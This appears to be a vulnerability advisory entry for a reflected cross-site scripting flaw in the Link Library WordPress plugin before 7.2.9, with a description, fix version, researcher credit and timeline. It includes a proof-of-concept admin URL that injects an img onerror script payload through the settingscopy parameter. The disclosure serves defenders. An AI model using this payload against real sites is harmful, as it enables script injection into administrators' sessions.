WordPress Plugin Vulnerabilities
Link Library < 7.2.9 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the settingscopy parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting
Proof of Concept
https://example.com/wp-admin/edit.php?post_type=link_library_links&page=link-library-settingssets&settings=%3Cb%3E&settingscopy=%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E
Affects Plugins
Fixed in version 7.2.9
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2021-12-30 (about 4 months ago)
Added
2021-12-30 (about 4 months ago)
Last Updated
2022-04-13 (about 1 months ago)